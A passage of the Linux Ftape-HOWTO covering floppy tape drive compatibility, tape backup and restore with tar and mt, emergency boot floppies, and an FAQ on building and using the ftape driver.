  • Some parallel port floppy tape drives still not work. Others do.
  • Irwin AX250L / Accutrak 250. (not a QIC-80 drive)
  • IBM Internal Tape Backup Unit (identical to the Irwin AX250L drive)
  • COREtape light

The Irwin AX250L (and the IBM Internal Tape Backup Unit) does not work the ftape. This is because they only support QIC-117, but not the QIC-80 standard (they use Irwin's proprietary ``servoe (Rhomat)'' format). I know nothing about the Rhomat format, nor where to get any info on it. Sorry.

The COREtape light does not accept the initialisation commands, we're feeding it. This pretty much leaves the drive unusable.

6.4 Using an external tape drive with ftape

If you have a floppy controller which has a female DB37 connector on the bracket (and some means of delivering power to the drive), you can use it with ftape. OK, that sentence was not very obvious. Let's try it this way: Some FDC's (the very ancient one's), have a DB37 connector on the bracket, for connecting to external floppy drives.

If you make a suitable cable from the DB37 connector (on the FDC) to your external tape drive, you can get ftape to control your tape drive.

This is because that from a program's view there is no difference between the internal and the external connectors. So, from ftape's point of view, they are identical.

  • Pins 20-37: GROUND
  • 1: +12 Volt (POWER)
  • 2: +12 Volt return (GROUND)
  • 3: +5 Volt return (GROUND)
  • 4: +5 Volt (POWER)
  • 5: 2
  • 6: 8
  • 7: 10
  • 8: 12
  • 9: 14
  • 10: 16
  • 11: 18
  • 12: 20
  • 13: 22
  • 14: 24
  • 15: 26
  • 16: 28
  • 17: 30
  • 18: 32
  • 19: 34

The power connector is of the "mini" type, sitting on 3.5" floppy drives. The idea appears to be that you plug one of the power connectors from the PSU to this connector on the board. If you want to use just a single cable, you might want to get a 50 wire cable, and use multiple wires for the power lines (and ground, for that matter).

I have received no confirmation from anyone that this works. Let me know your results if you try it.

6.5 PCI motherboards and ftape

Unfortunately, some PCI motherboards cause problems when running ftape. Some people have experienced that ftape would not run in a PCI based box, but ran flawlessly in a normal ISA based 386DX machine. If you have such a problem, please read the README.PCI file in the ftape distribution.

A floppy disk controller needs the ISA bus DMA controller for its memory transfers. Seemingly the ISA DMA controller doesn't get control over the memory bus often enough on some PCI based systems.


Ftape-HOWTO: Backing up and restoring data

 Next Previous Contents

7. Backing up and restoring data

This section describes some simple uses of tar and mt. Other examples can be found in the ftape-manual of the ftape-doc package. The ftape-tools contains some simple automated DejaGnu

Package for writing automated tests.
test-suites. See section Getting ftape for informations about where to download those additional packages from.

7.1 Writing an archive to a tape

You can use `tar', `dd', `cpio', and `afio'. You will need to use `mt' to get the full potential of your tapes and the ftape driver. For a start I'd recommend using `tar', as it can archive lots of directories and let you pick out separate files from an archive. cpio creates smaller archives and is more generally more flexible than tar, but is missing some features like volume labels. `afio' creates backups where each file is compressed individually and then concatenated. This will allow you to access the files ``after'' the point of the error. If you use gzipped tar files, all data after the point of the error is lost! (to me, this is a pretty good reason for NOT using compression on backups). The choice of which is most appropriate depends on the situation and the features and malfeatures of each of the packages. I recommend taking a look at each package at reviewing the options that each provides. It's possible that this HOWTO may provide more detail on this subject at some point in the future.

There are more links pointing to backup software at http://www-math.math.rwth-aachen.de/~LBFM/claus/ftape/ in the software section of that page.

To make a backup of your kernel source tree using tar, do this (assuming you have the sources in /usr/src/linux):

        # cd /usr/src
        # tar cf /dev/ftape linux

This will not compress the files, but gives you a smoother tape run. If you want the compression (and you've got tar 1.11.2), you just include the -z flag(*), eg: `tar czf /dev/ftape linux'

For further instructions on how to use tar, dd and mt look at the man pages and the texinfo files that comes with the respective distributions.

(*) tar assumes that the first argument is options, so the `-' is not necessary, i.e. these two commands are the same: `tar xzf /dev/ftape' and `tar -xzf /dev/ftape'

7.2 Restoring an archive

OK, let us restore the backup of the kernel source you made in section Writing an archive to a tape above. To do this you simply say

        tar xf /dev/ftape

If you used compression, you will have to say

        tar xzf /dev/ftape

When you use compression, gzip will complain about trailing garbage after the very end of the archive (and this will lead to a `broken pipe' message). This can be safely ignored.

For the other utilities, please read the man page.

7.3 Testing the archive

tar has an option (-d) for detecting differences between two archives. To test your backup of the kernel source say

        tar df /dev/ftape

If you do not have the man page for tar, you are not lost (yet); tar has a built-in option list: try `tar --help 2>&1 | less'

7.4 Putting more than one backup on a tape

To put more than one backup on a tape you must have the mt utility. You will probably have it already, if you got one of the mainline distributions (eg. Slackware or Debian).

Programs like tar and cpio generate a single Tape ARchive and know nothing about multiple files or positioning of a tape, it just reads or writes from/to a device. mt knows everything about moving the tape back and forth, but nothing about reading the data off the tape. As you might have guessed, combining tar or cpio with mt does the trick.

By using the nqft[0-3] (nftape) device, you can use `mt' to position the tape the correct place (`mt -f /dev/nqft0 fsf 2' means step over two ``file marks'', i.e. tar files) and then use tar or cpio to read or write the relevant data.

The most common use of the non-rewinding device is to append another backup to an existing tape. Here are the specific steps with a little explanation thrown in for good measure.

  • Insert a tape into the drive. On some devices this may cause the tape to be rewound.
  • Issue an End-of-Tape command to the NON-rewinding device.
            mt -f /dev/n???? eof
    The tape should now be positioned at the End-of-Data (EOD). The tape won't move unless a program opens the device, closes the rewinding device, removes the device driver from kernel memory (rmmod) or ejects the tape. Using `mt eof' may be faster on QIC tapes.
  • The next tape operation will start at the EOD mark. If you perform a write, it will append a new `file'. If you perform a read it will fail with EOF. The EOD mark on most tape formats is actually two consecutive EOF marks, however, since version 3.xx ftape uses the volume table as specified in the QIC-113 standard to emulate file marks, thus there aren't two consecutive file marks at EOD. Writing the EOF marks is handled by either the device driver or the hardware when a close() is performed.
  • Here's where you write the actual data to the tape.
  • Here's the important part. Now rewind the tape. Both ftape caches some information that belongs in the header segments on the tape and update those header segments only when the tape is rewound. This caching is necessary because rewinding the tape and updating the header segments takes a conspicuous amount of time. The drawback of this caching is that you will lose information if you have written to the tape and not rewound the device.

7.5 Appending files to an archive

``Is there a way to extend an archive -- put a file on the tape, then later, add more to the tape?''

No. The tar documentation will tell you to use `tar -Ar', but it does not work. This is a limitation of the current ftape driver.

7.6 Mount/unmounting tapes

Since a tape does not have a ``filesystem'' on it, you do not mount / unmount the tape. To backup, you just insert the tape and run your `tar' command (or whatever you use to access the tape with).


Ftape-HOWTO: Creating an emergency boot floppy for ftape

 Next Previous Contents

8. Creating an emergency boot floppy for ftape

Comment

As of the time of this writing (August 1998) I remember that I have read about several emergency disk sets in the c.o.l.a (comp.os.linux.announce) news group since the time this section has been written. Some of those packages actually might produce rather sophisticated emergency boot floppy sets. Please check out yourself. I didn't try to create an emergency boot floppy with recent versions of ftape.

This section was written by Claus Tøndering <ct@login.dknet.dk>.

Once you are the happy owner of a tape drive and several tapes full of backups, you will probably ask yourself this question: ``If everything goes wrong, and I completely lose my hard disk, how do I restore my files from tape?''

What you need is an emergency floppy disk that contains enough files to enable you to boot Linux and restore your hard disk from tape.

The first thing you should do is to read ``The Linux Bootdisk HOWTO'' written by Graham Chapman <grahamc@zeta.org.au>. That document tells you almost everything you need to know about making an emergency floppy boot kit. The paragraphs below contain a few extra pieces of information that will make your life a bit easier when you follow Graham Chapman's procedures:

  • You don't really need /etc/init, /etc/inittab, /etc/getty, and /etc/rc.d/* on your floppy disk. If Linux doesn't find /etc/init, it will start /bin/sh on your console, which is fine for restoring your system. Deleting these files gives you extra space on your floppy, which you will probably need.
  • Find a small version of /bin/sh. They are frequently available on the boot floppies that come with a Linux distribution. This again will give you extra space. I'd suggest ash, which is extremely small (approx 62Kbytes), and yet very bash compatible.
  • The /etc/fstab you include on your floppy disk should look something like this:
            /dev/fd0        /               minix   defaults
        none            /proc           proc    defaults
        /dev/hda        /mnt            ext2    defaults
    Once you have booted from your floppy, give the command:
            mount -av
  • Make sure your floppy drive is not mounted when you access the streamer tape! Otherwise you may get the following error message:
            Unable to grab IRQ6 for ftape driver
    This means that you MUST load the floppy into a RAMDISK. This has the unfortunate consequence that the programs needed to restore the files from the tape can not be located on a separate floppy disk. You have two options here:
    1. You place tar (or cpio or afio or whatever other backup program you use) on your root floppy disk. (This is where you'll need all the extra space created in the steps above.)
    2. Before you start restoring from tape, copy tar (or cpio or afio or whatever) to your hard disk and load it from there.
  • Apart from your backup program, you will probably need mt on your root floppy as well.
  • Make sure your ftape device (typically /dev/nqft0) is present on your boot floppy.
  • Finally: TRY IT OUT! Of course, I don't recommend that you destroy your hard disk contents to see if you are able to restore everything. What I do recommend, however, is that you try booting from your emergency disks and make sure that you can at least make a file listing of the contents of your backup tape.


Ftape-HOWTO: Frequently Asked Questions

 Next Previous Contents

9. Frequently Asked Questions

Comment

This is the literal inclusion of the Ftape Frequently Asked questions collection which is maintained by Johan De Wit <jo@correct.nl> and which may be viewed on the web at http://www.correct.nl/~ftape. As Linuxdoc SGML doesn't include sub-sub-sections into the table of contents, I have prepended the word FAQ to the sections of the original FAQ document.

This FAQ collection might be slightly out of data as it was collected while version 3.04d of the ftape driver was the newest one. If any answer given in the FAQ contradicts any other statement of this HOWTO, then please disregard the answer in the FAQ and drop me (<heine@math1.rwth-aachen.de>) as well as the maintainer of the Ftape-FAQ (Johan De Wit <jo@correct.nl>) a note

You might encounter references to the following addresses while reading this document:

  • The maintainer of the Ftape FAQ : Johan De Wit <jo@correct.nl>
  • The Ftape maintainer : Claus-Justus Heine <claus@momo.math.rwth-aachen.de>
  • The Ftape Home Page : <http://www-math.math.rwth-aachen.de/~LBFM/claus/ftape/>
  • Mirrors of the Ftape Home Page :

    <http://www.torque.net/ftape/>

    Thanks to Grant R. Guenther <grant@torque.net>

    <http://www.info-systems.com/ftape/>

    Thanks to Jakob Curdes <jc@info-systems.com>

    <http://www.newwave.net/~joshg/ftape/>

    Thanks to Josh Goins <joshg@newwave.net>

  • The Ftape HOWTO : <http://sunsite.unc.edu/LDP/HOWTO>
  • The Ftape Mailing List : <linux-tape@vger.rutgers.edu>

There is surely quite a lot missing. Please feel free to improve this FAQ. The preferred way of doing this is to post to the Ftape Mailing List in case you have a question that isn't answered here.

Also, if you are already reading the list regularly and have the impression that some questions occur again and again, feel free to send that question and possibly an answer in the format indicated below to the maintainer of the Ftape FAQ AND to Ftape Mailing List.

If you make FAQ related postings, then please DON'T FORGET to prepend the word "[FAQ]" to the subject of your posting. Please don't add the word "FAQ" to the subject if you post something that isn't related to the FAQ.

That's all for now.

Claus-Justus Heine.


Ftape-HOWTO: FAQ: "Compiling and installing Ftape" related questions !

 Next Previous Contents

10. FAQ: "Compiling and installing Ftape" related questions !

10.1 What Ftape version should I use?

Always the latest stable version which is _supposed_ to be available from ftp://sunsite.unc.edu/pub/Linux/kernel/tapes and http://www-math.math.rwth-aachen.de/~LBFM/claus/ftape/

At time of this writing the latest stable version is ftape-4.02.

<answer from Claus Heine>

10.2 I'm having problems getting my XYZ drive to run under the 2.0.xx kernel with the built-in driver. How do I fix this?

The default version of Ftape included in the 2.0.xx kernel sources is 2.08 or 2.09 and is very out of date. Please update the Ftape drivers to the latest from the Ftape Home Page.

<answer from Tim Jones>

10.3 I'm running Linux/SMP and the system just freezes when trying to access the Ftape devices!

You need to add -D__SMP__ to the KERNEL_OPT variable in the file MCONFIG. In newer ftape versions you only need to uncomment a certain line in the MCONFIG file.

<answer from Claus Heine>

10.4 Why does depmod complain about "undefined symbols"?

Ignore the depmod error messages. The problem is that the Ftape modules have to be compiled without the version checksum feature (i.e. CONFIG_MODVERSIONS) with 2.0.* kernels. This causes no problem, even when the modules are used with a kernel that has support for this feature; only that depmod wrongly complains about undefined symbols. Ignore the complaints of depmod and try to insert the modules despite of these complaints:

modprobe zftape
If this fails, something is wrong.

<answer from Claus Heine>

10.5 "insmod" says the kernel version is wrong

The insmod program can check the kernel version against the version that Ftape was compiled for in two ways: It can directly compare the kernel version number recorded in the Ftape module against the version of the running kernel, or, if both the kernel and Ftape is compiled with versioned symbols, compare the version of the used kernel symbols.

If you have upgraded your version of GCC to v2.7.0 or later, you must recompile the modules utilities with gcc v2.7.x.

Newer versions of insmod allows you to "force" insertion of a module into the kernel, even though the version string is incorrect.

<from the Ftape-Howto>

10.6 "insmod" says that kernel 1.2.0 and 1.2.0 differ

Did you remember to apply the ksyms.c patch to the kernel? If not, read the README.linux-1.2 file in the source distribution.

<from the Ftape-Howto>

10.7 Trying to compile Ftape gives me the error "modversions.h: no such file or directory"

The modversions.h file is created when the kernel is compiled with the configuration item CONFIG_MODVERSIONS turned on. With this option enabled, the file will be created during the make dep step.

One more handy tip is that a make mrproper will remove /usr/include/linux/modversions.h. You will need to reconfig the kernel and do a make dep to get the file back.

<from the Ftape-Howto>

10.8 What is this versioned symbols stuff anyway?

When you say `yes' to CONFIG_MODVERSIONS during `make config', all the symbols exported by the kernel, i.e: the symbols that the loadable modules can "see", are augmented to include a checksum across the types of the call/return parameters. This allows insmod to detect whether the definition of a variable or function in the kernel has changed since the time when Ftape was compiled.

This ensures a high degree of safety, such that you do not crash the kernel because you used an outdated module with your kernel.

If you enable CONFIG_MODVERSIONS in the kernel, make sure you have

-DMODVERSIONS -include /usr/include/linux/modversions.h
uncommented in the MODULE_OPT line in the Ftape Makefile. Conversely, if you do not have CONFIG_MODVERSIONS enabled, make sure you have it commented out.

<from the Ftape-Howto>

10.9 I seem to be getting sftape instead of zftape. When I run "ftmt status" command, I get output that the Ftape docs says corresponds to sftape ( /dev/qft0: Invalid argument ). Why?

There are (at least) two possible sources of the problem:

  • All Ftape-3.* versions prior to 3.04 install the modules into
    /lib/modules/misc
instead of
/lib/modules/uname -r/misc
    As modprobe searches in /lib/modules/misc/ last there might be an old ftape.o module floating around in /lib/modules/ uname -r/misc which modprobe finds first (uname -r stands for the kernel version). Remove the old ftape.o module.
  • Your kernel has support for Ftape compiled in. Reconfigure your kernel without support for Ftape (CONFIG_FTAPE) and recompile and install it.

<answer from Claus Heins>

10.10 My Ditto DASH/FC-20/Exabyte Accelerator card works under Microsoft Windows, but I get a drive not found type of error in /var/log/messages when trying to use it under Linux.

You are probably trying to use the same IRQ and DMA settings as your on-board FDC. This does not work in versions of Ftape prior to 3.03b. Please update the Ftape Drivers to the latest from the Ftape Home Page.

<answer from Tim Jones>

10.11 Ftape DMA transfers gives ECC errors

Sadly to say there are some SVGA cards and Ethernet cards that do not decode their addresses correct. This typically happens when the Ftape buffers are in the range 0x1a0000 to 0x1c0000. Somehow, the DMA write cycles get clobbered and every other byte written gets a bad value (0xff). These problems are reported to happen with both SVGA and Ethernet cards. We know of at least one (bad?) ATI 16bit VGA card that caused this.

The easiest solution is to put the card in an 8bit slot (it is often not enough to reconfigure the card to 8bit transfers). Moving the Ftape buffer away from the VGA range is only a partial solution; All DMA buffers used in Linux can have this problem! Let us make this one clear: This has nothing to do with the Ftape software.

<from the Ftape-Howto>

10.12 Help! I'm getting 'dmaalloc() failed' in my syslog file.

You should only see this is you are trying to insmod the ftape.o module. Try running swapout first. It is provided with the standalone Ftape source. It doesn't appear in the Ftape source that's provided with the kernel.

Here's an example of how you can set your rc.local file to use it.

# Install the Floppy Tape Driver
if [ -f /boot/modules/`uname -r`/misc/ftape.o ]; then
   echo Installing ftape for Linux `uname -r`
   swapout
   insmod /boot/modules/`uname -r`/misc/ftape.o
fi

Please note that you won't have this type of problem if you compile the Ftape driver into the kernel.

<from the Ftape-Howto>

10.13 Syslogd works overtime when running Ftape

The compile-time options NO_TRACE and NO_TRACE_AT_ALL in Ftape control the amount of system logging. Add whichever is appropriate to the FTAPE_OPT line in the Makefile and recompile.

<from the Ftape-Howto>

10.14 How do I change the trace-level?

There are three ways you can do this (in order of personal preference).

While we're at it, here are the meanings of the various trace levels.

  • 0 Bugs
  • 1 + Errors
  • 2 + Warnings
  • 3 + Information
  • 4 + More information
  • 5 + Program flow
  • 6 + FDC/DMA info
  • 7 + Data flow
  • 8 + Everything else

  1. Using insmod to change trace-level If you are using the modules mechanism to load the Ftape driver, you can specify the tracing level as an option to the insmod command.
            /sbin/insmod ftape.o tracing=<tracing-level>
  2. Using mt to change trace-level The Ftape driver has a hack in it that allows the fsr option in mt to be used to set the tracing level. zftape does not have this hack.
            mt -f /dev/ftape fsr <tracing-level>
    The use of the fsr command in mt is a hack, and will probably disappear or change with time.
  3. Recompiling to change trace-level The file tracing.c contains a line int tracing = 3;. Change the 3 to whatever is appropriate and recompile.

<From the Ftape-Howto>

10.15 I'm having problems with Ftape. I'm using the latest version of Ftape from the Ftape Home Page and believe that I've located a real bug. What should I do?

Check the Ftape Home Page. for an even newer version. Then check the FAQ contained in the that package if your problem is listed there. Next, try to check if the manual that comes with the Ftape distribution mentions your problem.

There is no need to read the entire manual, simply check the "Concept Index" if it contains a keyword that might be related to your problem, then jump to the proper location in the manual.

If you are still convinced you've found a bug, then post a general question describing the problem to the Linux-Tape Mailing List , but do not attach your entire Ftape error-log. If we've seen the problem before, we'll let you know where the resolution effort stands. If we haven't, the Ftape maintainer will most likely request that you send him the entire Ftape error-log (snipped from your system messages file).

<answer from Tim Jones>


Ftape-HOWTO: FAQ: "Using Ftape" related questions !

 Next Previous Contents

11. FAQ: "Using Ftape" related questions !

11.1 How fast is Ftape ?

You can achieve quite respectable backup and restore speeds with Ftape: a Colorado DJ-20 and an Adaptec 1542CF controller, has been measured at 4.25Mbyte/min sustained data transfer rate (no compression) across a 70Mbyte tar archive, while comparing the archive on the tape with data on an IDE disk. The speed of Ftape is mostly dependent on the data transfer rate of your FDC: The AHA1542CF has a ``post-1991 82077'' FDC, and it will push 1Mbit/sec at the tape drive. If you have an FDC which can only deliver 500Kbit/sec data rates, you will see half the transfer rate (well, roughly).

11.2 When I write to some of my tapes, they seem to spend a lot of time "shoe-shining," or repositioning instead of streaming. Is something wrong with my system?

There has been a few reports of "shoeshining". This is when the tape just seems to run back and forth endlessly. This has been seen on a Jumbo 250 (74407.3051@compuserve.com) and on an Iomega 250 Ditto Insider (tom@opus.cais.com). In the latter case it has been narrowed own to using an ELF Linux and running off a SCSI hard disk (connected to an Adaptec 1542cf). Please contact me if you have an update to this problem.

<from the Ftape-Howto>

Probably not. If you are backing up a large number of < 2K files, you're just going to have to live with it. In this event, the repositions are caused by file system access overhead. If you are backing up a normal system's files, this may be caused by slop or media stretching in the tape cartridge. By simply retensioning the tape, you should see this go away. Try

ftmt -f /dev/zqft0 reten
to retension the tape. If retensioning doesn't solve this, and it's only happening on certain tapes, it might be wise to replace the tapes in question.

<answer from Tim Jones>

If you use afio as your backup tool you can set it to write a very large number of buffers in one hit by using the -c flag. Make it large enough so that you supply enough data for most of a single end-to-end pass over the tape. For my system, the following streams quite nicely - stopping relatively few times per tape pass on an unloaded system:

find /usr/local -xdev -print | afio -o -v -f -b 10240 -c 800 /dev/qft0
In my case I'm writing 800 x 10240 bytes per tape write, i.e. about 8MB. haven't experimented that much with these settings - so someone might like to establish more optimal ones.

Presumably other backup utilities could be modified to use a similar technique.

<answer by Michael Hamilton>

GNU tar doesn't use buffering in this way. The commercial backup program "bru" is able to multi-buffer using shared memory; this works only when writing compressed archive with bru (regardless whether you use Ftape's builtin compression)

Another way to overcome the problem might be to use more dma buffers in the Ftape kernel driver like:

mt -f /dev/qft0 setdrvbuffer $((6*32786))
$((6*32786)) should be expanded by your shell when using a Bourne compatible one. This has a negative impact on the system's memory pool: Ftape's dma buffers cannot be used by any other part of the kernel nor by any other application. And kernel memory cannot be swapped out. If you decide to use this kind of multi-buffering then you should unload the driver as soon as it isn't needed any longer.

<answer by Claus Heine>

11.3 Do I have to reboot to the DOS world to format tapes?

Not if you are using the latest version of the Ftape drivers from the Ftape Home Page.

To format a QIC-80, TR-1, TR-3, QICWide 3010 or 3020 tape, get the latest version of ftape and the latest version of the ftape-tools package (from the same location) and read the documentation of the ftformat utility which is included in the ftape-tools package.

Comment

Do not try to format Ditto 2GB tapes.

Comment

Do not try to format Ditto Max or Max Pro tapes.

<answers from Tim Jones and Claus Heine>

11.4 Is it possibly to format Ditto 2GB tapes with ftape?

It isn't possible to format Ditto 2GB tapes with Ditto 2GB tape drive, and it isn't possible at all to re-format Ditto 2GB tapes in a way that they still can be used by a Ditto 2GB tape drive.

This is a hardware limitation of the Ditto 2GB tape drive. It can't be helped at the software level, i.e. it isn't ftape's fault.

11.5 Is it possibly to format Ditto Max or Max Pro tapes with ftape?

No, the Ditto Max can't format tapes.

This is a hardware limitation of the Ditto Max (Pro) tape drive. It can't be helped at the software level, i.e. it isn't ftape's fault.

11.6 Ftape detects more bad sectors than DOS on QIC-3020 tapes

If you look at the difference, you will notice that Ftape always detects 2784 sectors more than DOS.

The number that Ftape reports is correct (of course :-). Each correctly formatted QIC-3020 tape has 2784 sectors at fixed positions that are marked in the bad sector map. To quote from the specs:

Tracks 5,7,9,11,13,15,17,19,21,23,25 and 27 within 4 segments of either EOT or BOT are prone to increased error rates due to hole imprints. Therefore, these regions shall be mapped as bad at format time and entered in the bad sector map by indicating that all sectors within the identified segments are bad.

This gives 12 tracks * 2 * 4 segments * 29 sectors == 2784 sectors.

So Ftape choose to report the real number of sectors that cannot be used on the tape, while DOS gives a more optimistic number giving a better indication of tape quality. (Ftape's behavior might change in the future to detect correct formatting and display the separate numbers. It has rather low priority though).

QIC-3010 are alike QIC-3020 tapes regarding this.

<from the Ftape-Howto>

11.7 Is it ok that I'm not hearing the tape move when I do a fsf or a bsf with mt?

Yes. The driver merely updates an internal counter when those commands are issues. The tape should move to the proper location on the next read or write access to the tape drive.

<from the Ftape-Howto>

11.8 Why does my XYZ backup program complain about "Invalid argument" errors?

zftape requires the data to be written in multiples of a fixed minimal block size. This is a very usual behavior for a tape device. There are three ways to get rid of those errors:

  • set Ftape's block size to the block size used by the backup program. The example below works for "afio":
    mt -f /dev/qft0 setblk 5120
  • If you don't want to use Ftape's built in compression you can also use
    mt -f /dev/qft0 setblk 0
    to switch Ftape to variable block size mode and be able to write the data in arbitrary portions to the tape (BUT: the builtin compression doesn't work with this setting). When you intend to use "KBackup" then this is the only way to make it work together with Ftape (it _may_ work, don't know if it does)
  • tell your backup program about Ftape's default block size of 10k (which is also the default of GNU tar). For "afio" you can use the following command line switch:
    afio -b 10k ...

You may want to read the section "Tape blocks" of the manual (use its "Concept index" to directly jump to that section)

When using GNU tar's builtin compression with GNU tar versions prior to tar-1.12 one needs to run tar with the --block-compress switch to re-block the output to the tape. Otherwise tar will compress the data it reads, and write it in arbitrary portions to the tape.

Example :

tar -czvf /dev/qft0 --block-compress /etc

WARNING: One shouldn't use tar's builtin compression with large backups as it makes the entire data stream one huge compressed block. If such archives are corrupted right at the beginning it will be very difficult to recover.

<answer by Claus Heine>

11.9 I/O errors and FDC - some explanations.

When you get next messages, this could be interesting for you !

  • fdc-io.c (ft_handle_perpend) - Your FDC does not support QIC-3020.
  • Cannot write to /dev/qft0: I/O error

The explanations:

"FDC" menas "Floppy Disk Controller". The problem is that your floppy disk controller must be able to support something that is called "perpendicular mode" to be able to read and write QIC-3020/QIC-3010 cartridges (i.e. TR-3 cartridges). To my knowledge all FDCs that are capable of at least 1Mbit/sec data transfer rate also support "perpendicular mode" ("perpendicular" refers to the direction of magnetization of the ferro-magnetic particles on the tape).

This means that you need to purchase another FDC. Either look around some computer stores and ask for an IO controller cards that is able to support 2.88 Mb floppies (which imlies 1Mbit data transfer rate and perpendicular mode).

Or get one of the so called "high speed" controllers that even support 2Mbit/sec data transfer rate. Those controllers are based on an Intel 82078 FDC. Iomega sells such a card under the name "Ditto Dash". I think Exabyte sells their 2Mbit controllers separately, too, whereas Seagate ships its TR-3 drives (i.e. the TST-3200) together with such a controller.

<answer from Claus Heine>

11.10 Why do I get "/dev/qft0: No such device" errors?

I assume that the following is the problem: The Ftape module is loaded OK into the kernel:

/usr/src/ftape-3.03b-970603# lsmod
 Module         Pages    Used by
 ftape             22            0
but then this happens:
$ ftmt -f /dev/qft0 status
ftmt: /dev/qft0: No such device

Solution You need to load the zftape.o module as well. With Ftape-3.* the ftape.o module doesn't implement the VFS interface. This is done by zftape.o.

<answer from Claus Heine>

11.11 I get "device busy" when I make multiple backups on a tape using some script.

The "device busy" messages can only occur while the Ftape devices are still held open by some program. As soon as the close() system call has completed the busy flag is cleared. May be "bru" or some other program has still forked off a child that dies delayed?

Yes, this will reproduce the problem, it seems:

tar -cvvzf /dev/nqft0 --block-compress ; mt rewind
You can skip the "--block-compress" if using the most recent version of GNU tar.

However, this is not a bug of Ftape. It seems that the parent tar process exits before its child has closed the tape device. I know, however, from hacking the tar code ages ago, that tar properly waits for its parent to die.

However, the busy message simply means that the "busy" variable is still held at 1 (zftape/zftape-init.c). And this simply means that there still is a process hanging around that holds the tape device open.

I think I have it (only for the case of tar 'cause I have the source code.

If on uses tar with compression, then it forks a child which will become the compressor bei execing "gzip" or whatever. Before the call to execlp() the child will fork off a grand child of its parent tar. That grandchild will do the actual tape I/O.

tar - fork() - write to child tar
        |
      child tar - fork() - gzip (will pipe to grand child tar)
                    |
                  grand child tar - open archive.

Now, parent tar only waits for its child to die. gzip surely doesn't wait for the grand child as the gzip is a result of an execlp().

What I don't know is whether the grand child should be implicitly waited for by the parent tar, or if the wait() function also waits for grand childs.

But this seems to be the problem: the parent tar already has exited while its grandchild still is busy closing the archive. One hardly will notice this problem if the close() happens fast (i.e. regular files, block devices, also other tape devices?), but it isn't a bug in Ftape, but either in the backup programs or in the kernel or maybe libc exit code.

Don't know if the considerations above also apply to bru. If there is no grandchild and the parent process properly waits for its childs then there shouldn't be a problem.

<answer from Claus Heine>

11.12 How do I "..." with tar?

These are really tar questions: Please read the man page and the info page. If you have not got it either, try

tar  --help 2>&1 | less

If your version of tar is v1.11.1 or earlier, consider upgrading to v1.11.8 - This version can call GNU zip directly (i.e.: it supports the -z option) and has an elaborate help included. Also, it compiles right out of the box on Linux.

<from the Ftape-Howto>

11.13 What block-size should I use with tar ?

When using compression, and in all general, it can be a benefit to specify to tar, that it should block the output into chunks. Since Ftape cuts things into 29Kbyte blocks, saying `-b58' should be optimum.

"Why 29Kbyte?", I hear you cry. Well, the QIC-80 standard specifies that all data should be protected by an Error Correcting Code (ECC) code. The code specified in the QIC-80 standard is known as a Reed-Solomon (R-S) code. The R-S code takes 29 data bytes and generates 3 parity bytes. To increase the performance of the ECC code, the parity bytes are generated across 29 1Kbyte sectors. Thus, Ftape takes 29Kbytes of data, adds 3Kbytes of ECC parity, and writes 32Kbytes to the tape at a time. For this reason, Ftape will always read and write 32K byte blocks to be able to detect (and correct) data errors.

If you are curious, and wish to know more, look in the ecc.c and ecc.h files, for an explanation of the code and a reference to a textbook on Reed-Solomon codes.

<from the Ftape-Howto>

11.14 Where can I find the tar/mt/cpio/dd binaries - sources - manpages?

All of these tools have been developed by the GNU project, and the source (and man page) can be fetched from just-about any ftp site in the world (including ftp.funet.fi, tsx-11.mit.edu, and sunsite.unc.edu). In any case they can be fetched from the official GNU home site: prep.ai.mit.edu [18.71.0.38]:/pub/gnu. The latest versions (as of September 12 1996) are:

cpio:   2.4.2 (cpio-2.4.2.tar.gz)
dd:     3.13 (fileutils-3.13.tar.gz)
mt:     2.4.2 (cpio-2.4.2.tar.gz)
tar:    1.11.8 (tar-1.11.8.tar.gz)
gzip:   1.2.4 (gzip-1.2.4.tar.gz)

They all compile out of the box on Linux v1.0.4 / libc v4.5.19 / gcc v2.5.8.

<from the Ftape-Howto>

11.15 If I use tapers compression, is it a bad idea to use the compression with zftape, or would it be better to not use tapers compression, and let zftape do it?

It is not bad as such to compress data twice (which would be the case when using tapers compression together with zftape's compression) but it doesn't make any sense. You won't gain much further compression, but only waste CPU cycles.

Tapers compression should be quite safe, as taper compresses single files; in contrast to tar -czf ... which makes the entire data stream a large compressed block of data, which is really a bad thing with serious backups as a single bad byte at the beginning of the archive can make the entire archive unusable, well, it will be at least quite difficult to recover.

<Answer from Claus Heine>

11.16 How does zftape compression compare to say gzip -9?

gzip -9 is better (i.e. one gains higher compression). zftape's compression is comparable with the Un*x compress program, but should be faster, and is faster than gzip.

<Answer from Claus Heine>

11.17 I don't trust compression, but hear that the sftape interface is going away. What should I do?

Use the zftape interface, but don't load the zft-compressor module. The device then becomes /dev/qft0.

<answer from Tim Jones>

11.18 Ftape says "This tape has no 'Linux raw format"

You get this complaint if you haven't erased your freshly formatted tape. This is because Ftape expect a "magic header" on the tape, to be able that it is allowed to interpret the header segment in its own way (eg: file marks). To remove the problem, say

mt -f /dev/nftape erase

<from the Ftape-Howto>

11.19 Can I exchange tapes with someone using DOS?

No. The DOS software conforms to the QIC-80 specs about the layout of the DOS filesystem, and it should(?) be a small problem to write a program that can read/write the DOS format. In fact, I'd bet that creating a nice user interface would be a bigger problem.

<From the Ftape-Howto>

11.20 How does `mt eom' work when you've started overwriting a tape in the middle?

(EOM is "End Of recorded Media", the position right after all data already recorded to the tape)

One cannot use tape "files" like files on an ordinary file system.

In principle, a tape doesn't allow anything but appending new data at EOM. However, if one positiones just in the middle of the already recorded data AND starts writing, then the driver first deletes all following files (thus moving the EOM to the actual position) and then starts writing.

Thus, the new EOM after finishing the write process, is then after the newly recorded data.

One of the consequences of the above is, of course, that writing to the tape in the middle of the already recorded area, is destructive in the sense, that it not only overwrites the "file" the tape is positioned at, but also deletes all following files.

<from the Ftape-Howto> <Answer from Claus Heine>

11.21 When I made backups before using taper, under the 2.0.29 ftape my drive didn't support fsf, under the new zftape it does, why would this be, and what exactly is fsf ?

It probably didn't work before because you didn't use a

mt -f /dev/rft0 erase
before writing data to the cartridge. THIS ISN'T necessary any more.

But, hey, what does mt fsf? Tape drives don't store files in the sense that you can use

cp somefile /dev/my_what_ever_tape
or be able to mount the tape drive like you could mount a harddisk. You can't do nothing with a tape drive but write data to it in a sequential manner.

As this is quite inconvenient, somebody invented something which is known under the name file mark or eof mark (eof == End Of File). Those marks don't separate files that have been backed up to the tape device, but only separate blocks of data (whatever data that might be).

Normally, the kernel tape device drivers take care of writing file marks when the tape device is closed, i.e.

tar -cf /dev/nqft0 /bin
tar -cf /dev/nqft0 /etc
mt -f /dev/nqft0 rewind
